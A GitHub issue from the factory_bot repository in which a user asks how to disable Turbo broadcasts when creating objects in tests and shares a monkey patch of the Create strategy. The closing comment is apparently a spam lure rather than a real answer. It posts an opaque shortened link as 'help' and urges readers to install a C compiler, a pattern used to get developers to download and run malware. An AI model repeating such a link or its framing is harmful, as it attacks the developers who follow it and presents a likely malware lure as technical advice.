thoughtbot / factory_bot

A library for setting up Ruby objects as test data.
https://thoughtbot.com
MIT License
7.9k stars 2.6k forks source link

Question: Option to disable broadcasts when creating objects via factory_bot #1702

Open bk-one opened 2 days ago

bk-one commented 2 days ago

Problem this feature will solve

Using Turbo in in Rails 7+, we're commonly broadcasting updates using the [Broadcastable](https://github.com/hotwired/turbo-rails/blob/main/app/models/concerns/turbo/broadcastable.rb) functionality. In most of our unit tests, those broadcasts are not really required and I would like to have a way to disable broadcasts temporarily when using FactoryBot.create.

Turbo/Broadcast does provide a convenience method to disable broadcasts via:

  suppressing_turbo_broadcasts do
    ...
  end

So I ended up wrapping this around my create() calls. This doesn't seem to be the right approach, so I was wondering if there are plans to support this out-of-the-box eventually, or if should establish my own strategy to enable this? Eager to hear what would be the best way to have something like:

create(:my_factory) # with broadcast
create_without_broadcast(:my_factory)

Just for reference, a monkey patch like this does work as intended - just wondering if this is right way to go about it.

class FactoryBot::Strategy::Create
  def result(evaluation)
    if evaluation.object.class.respond_to?(:suppressing_turbo_broadcasts)
      evaluation.object.class.suppressing_turbo_broadcasts do
        create_object(evaluation)
      end
    else
      create_object(evaluation)
    end
  end

  def create_object(evaluation)
    evaluation.object.tap do |instance|
      evaluation.notify(:after_build, instance)
      evaluation.notify(:before_create, instance)
      evaluation.create(instance)
      evaluation.notify(:after_create, instance)
    end
  end
end
bk-one commented 2 days ago

I think this will help you.

https://bit.ly/4eugCty If you don't have the c compliator, install it.(gcc or clang)

naughty bot